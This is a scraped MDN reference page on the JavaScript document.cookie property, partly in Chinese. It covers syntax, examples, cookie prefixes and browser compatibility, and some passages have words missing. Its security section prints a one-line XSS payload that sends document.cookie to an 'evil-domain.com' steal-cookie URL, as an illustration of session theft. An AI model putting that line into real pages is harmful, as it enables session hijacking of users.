Document property cookie lets you read and write Cookie associated with the document. It serves as a getter and setter for the actual values of the cookies.

句法

Read all cookies accessible from this location

allCookies = document.cookie;
					

In the code above allCookies is a string containing a semicolon-separated list of all cookies (i.e. key = pairs). Note that each key and may be surrounded by whitespace (space and tab characters): in fact, RFC 6265 mandates a single space after each semicolon, but some user agents may not abide by this.

In the code above, newCookie is a string of form key = . Note that you can only set/update a single cookie at a time using this method. Consider also that:

  • Any of the following cookie attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator:
  • The cookie value string can use encodeURIComponent() to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).
  • Some user agent implementations support the following cookie prefixes:
    • __Secure- Signals to the browser that it should only include the cookie in requests transmitted over a secure channel.
    • __Host- Signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path attribute passed down by the server. If the server omits the path attribute the "directory" of the request URI is used. It also signals that the domain attribute must not be present, which prevents the cookie from being sent to other domains. For Chrome the path attribute must always be the origin.
    The dash is considered part of the prefix. These flags are only settable with the secure 属性。
注意: As you can see from the code above, document.cookie accessor property with native setter and getter functions, and consequently is not a data property with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.

范例

Example #1: Simple usage

document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
function alertCookie() {
  alert(document.cookie);
}
				
<button onclick="alertCookie()">Show cookies</button>
				

document.cookie = "test1=Hello";
document.cookie = "test2=World";
const cookieValue = document.cookie
  .split('; ')
  .find(row => row.startsWith('test2'))
  .split('=')[1];
function alertCookieValue() {
  alert(cookieValue);
}
				
<button onclick="alertCookieValue()">Show cookie value</button>
				

Example #3: Do something only once

In order to use the following code, please replace all occurrences of the word doSomethingOnlyOnce (the name of the cookie) with a custom name.

function doOnce() {
  if (!document.cookie.split('; ').find(row => row.startsWith('doSomethingOnlyOnce'))) {
    alert("Do something here!");
    document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
  }
}
				
<button onclick="doOnce()">Only do something once</button>
				

function resetOnce() {
  document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
				
<button onclick="resetOnce()">Reset only once cookie</button>
				

//ES5
if (document.cookie.split(';').some(function(item) {
    return item.trim().indexOf('reader=') == 0
})) {
    console.log('The cookie "reader" exists (ES5)')
}
//ES2016
if (document.cookie.split(';').some((item) => item.trim().startsWith('reader='))) {
    console.log('The cookie "reader" exists (ES6)')
}
				
//ES5
if (document.cookie.split(';').some(function(item) {
    return item.indexOf('reader=1') >= 0
})) {
    console.log('The cookie "reader" has "1" for value')
}
//ES2016
if (document.cookie.split(';').some((item) => item.includes('reader=1'))) {
    console.log('The cookie "reader" has "1" for value')
}
				

安全性

It is important to note that the path attribute does not protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden <iframe> element with the path of the cookie, then accessing this iframe's contentDocument.cookie property. The only way to protect the cookie is by using a different domain or subdomain, due to the same origin policy .

Cookies are often used in web application to identify a user and their authenticated session. So stealing the cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
				

HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about Cookies and Security .

注意事项

  • Starting with Firefox 2, a better mechanism for client-side storage is available - WHATWG DOM Storage .
  • You can delete a cookie by simply updating its expiration time to zero.
  • Keep in mind that the more cookies you have, the more data will be transferred between the server and the client for each request. This will make each request slower. It is highly recommended for you to use WHATWG DOM Storage if you are going to keep "client-only" data.
  • RFC 2965 (Section 5.3, "Implementation Limits") specifies that there should be no maximum length of a cookie's key or value size, and encourages implementations to support arbitrarily large cookies . Each browser's implementation maximum will necessarily be different, so consult individual browser documentation.

The reason for the syntax document.cookie accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, localStorage ):

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: cookie_name1=cookie_value1
Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT
[content of the page here]
				

The client sends back to the server its cookies previously stored

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
Accept: */*
				

规范

规范 状态 注释
DOM (文档对象模型) 2 级 HTML 规范
The definition of 'Document.cookie' in that specification.
过时 初始定义
Cookie Prefixes 草案

浏览器兼容性

The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. 更新 GitHub 上的兼容性数据
桌面 移动
Chrome Edge Firefox Internet Explorer Opera Safari Android webview Chrome for Android Firefox for Android Opera for Android Safari on iOS Samsung Internet
cookie Chrome 1 Edge 12 Firefox 1
1
Prior to Firefox 68, cookie was available only on HTML documents; it is now available on all documents, such as XML and SVG.
IE 4 Opera 3 Safari 1 WebView Android 1 Chrome Android 18 Firefox Android 4
4
Prior to Firefox 68, cookie was available only on HTML documents; it is now available on all documents, such as XML and SVG.
Opera Android 10.1 Safari iOS 1 Samsung Internet Android 1.0

图例

完整支持

完整支持

见实现注意事项。

另请参阅

元数据

  • 最后修改:
  1. DOM (文档对象模型)
  2. Document
  3. 构造函数
    1. Document()
  4. 特性
    1. alinkColor
    2. all
    3. anchors
    4. applets
    5. bgColor
    6. body
    7. characterSet
    8. childElementCount
    9. children
    10. compatMode
    11. contentType
    12. currentScript
    13. defaultView
    14. designMode
    15. dir
    16. doctype
    17. documentElement
    18. documentURI
    19. documentURIObject
    20. domain
    21. domConfig
    22. 嵌入
    23. fgColor
    24. firstElementChild
    25. forms
    26. fullscreen
    27. fullscreenEnabled
    28. head
    29. height
    30. hidden
    31. 图像
    32. 实现
    33. lastElementChild
    34. lastModified
    35. lastStyleSheetSet
    36. linkColor
    37. 链接
    38. location
    39. mozSyntheticDocument
    40. onabort
    41. onafterscriptexecute
    42. onanimationcancel
    43. onanimationend
    44. onanimationiteration
    45. onauxclick
    46. onbeforescriptexecute
    47. onblur
    48. oncancel
    49. oncanplay
    50. oncanplaythrough
    51. onchange
    52. onclick
    53. onclose
    54. oncontextmenu
    55. oncuechange
    56. ondblclick
    57. ondurationchange
    58. onended
    59. onerror
    60. onfocus
    61. onformdata
    62. onfullscreenchange
    63. onfullscreenerror
    64. ongotpointercapture
    65. oninput
    66. oninvalid
    67. onkeydown
    68. onkeypress
    69. onkeyup
    70. onload
    71. onloadeddata
    72. onloadedmetadata
    73. onloadend
    74. onloadstart
    75. onlostpointercapture
    76. onmousedown
    77. onmouseenter
    78. onmouseleave
    79. onmousemove
    80. onmouseout
    81. onmouseover
    82. onmouseup
    83. onoffline
    84. ononline
    85. onpause
    86. onplay
    87. onplaying
    88. onpointercancel
    89. onpointerdown
    90. onpointerenter
    91. onpointerleave
    92. onpointermove
    93. onpointerout
    94. onpointerover
    95. onpointerup
    96. onreset
    97. onresize
    98. onscroll
    99. onselect
    100. onselectionchange
    101. onselectstart
    102. onsubmit
    103. ontouchcancel
    104. ontouchstart
    105. ontransitioncancel
    106. ontransitionend
    107. onvisibilitychange
    108. onwheel
    109. origin
    110. plugins
    111. popupNode
    112. preferredStyleSheetSet
    113. readyState
    114. referrer
    115. rootElement
    116. 脚本
    117. scrollingElement
    118. selectedStyleSheetSet
    119. styleSheetSets
    120. timeline
    121. title
    122. tooltipNode
    123. URL
    124. visibilityState
    125. vlinkColor
    126. width
    127. xmlEncoding
    128. xmlVersion
  5. 方法
    1. adoptNode()
    2. append()
    3. caretRangeFromPoint()
    4. clear()
    5. close()
    6. createAttribute()
    7. createCDATASection()
    8. createComment()
    9. createDocumentFragment()
    10. createElement()
    11. createElementNS()
    12. createEntityReference()
    13. createEvent()
    14. createExpression()
    15. createExpression()
    16. createNodeIterator()
    17. createNSResolver()
    18. createNSResolver()
    19. createProcessingInstruction()
    20. createRange()
    21. createTextNode()
    22. createTouch()
    23. createTouchList()
    24. createTreeWalker()
    25. enableStyleSheetsForSet()
    26. evaluate()
    27. evaluate()
    28. execCommand()
    29. exitFullscreen()
    30. exitPointerLock()
    31. getAnimations()
    32. getBoxObjectFor()
    33. getElementById()
    34. getElementsByClassName()
    35. getElementsByName()
    36. getElementsByTagName()
    37. getElementsByTagNameNS()
    38. hasFocus()
    39. hasStorageAccess()
    40. importNode()
    41. mozSetImageElement()
    42. open()
    43. prepend()
    44. queryCommandEnabled()
    45. queryCommandSupported()
    46. querySelector()
    47. querySelector()
    48. querySelectorAll()
    49. querySelectorAll()
    50. registerElement()
    51. releaseCapture()
    52. replaceChildren()
    53. requestStorageAccess()
    54. write()
    55. writeln()
  6. 事件
    1. animationcancel
    2. animationend
    3. animationiteration
    4. animationstart
    5. copy
    6. cut
    7. DOMContentLoaded
    8. drag
    9. dragend
    10. dragenter
    11. dragexit
    12. dragleave
    13. dragover
    14. dragstart
    15. drop
    16. fullscreenchange
    17. fullscreenerror
    18. gotpointercapture
    19. keydown
    20. keypress
    21. keyup
    22. lostpointercapture
    23. paste
    24. pointercancel
    25. pointerdown
    26. pointerenter
    27. pointerleave
    28. pointerlockchange
    29. pointerlockerror
    30. pointermove
    31. pointerout
    32. pointerover
    33. pointerup
    34. readystatechange
    35. scroll
    36. selectionchange
    37. selectstart
    38. touchcancel
    39. touchend
    40. touchmove
    41. touchstart
    42. transitioncancel
    43. transitionend
    44. transitionrun
    45. transitionstart
    46. visibilitychange
    47. wheel
  7. 继承:
    1. 节点
    2. EventTarget
  8. DOM 相关页面
    1. AbortController
    2. AbortSignal
    3. AbstractRange
    4. Attr
    5. ByteString
    6. CDATASection
    7. CSSPrimitiveValue
    8. CSSValue
    9. CSSValueList
    10. CharacterData
    11. ChildNode
    12. 注释
    13. CustomEvent
    14. DOMConfiguration
    15. DOMError
    16. DOMErrorHandler
    17. DOMException
    18. DOMImplementation
    19. DOMImplementationList
    20. DOMImplementationRegistry
    21. DOMImplementationSource
    22. DOMLocator
    23. DOMObject
    24. DOMParser
    25. DOMPoint
    26. DOMPointInit
    27. DOMPointReadOnly
    28. DOMRect
    29. DOMString
    30. DOMTimeStamp
    31. DOMTokenList
    32. DOMUserData
    33. DocumentFragment
    34. DocumentType
    35. 元素
    36. ElementTraversal
    37. Entity
    38. EntityReference
    39. 事件
    40. EventTarget
    41. HTMLCollection
    42. MutationObserver
    43. 节点
    44. NodeFilter
    45. NodeIterator
    46. NodeList
    47. NonDocumentTypeChildNode
    48. ProcessingInstruction
    49. PromiseResolver
    50. 范围
    51. StaticRange
    52. 文本
    53. TextDecoder
    54. TextEncoder
    55. TimeRanges
    56. TreeWalker
    57. TypeInfo
    58. USVString
    59. UserDataHandler
    60. XMLDocument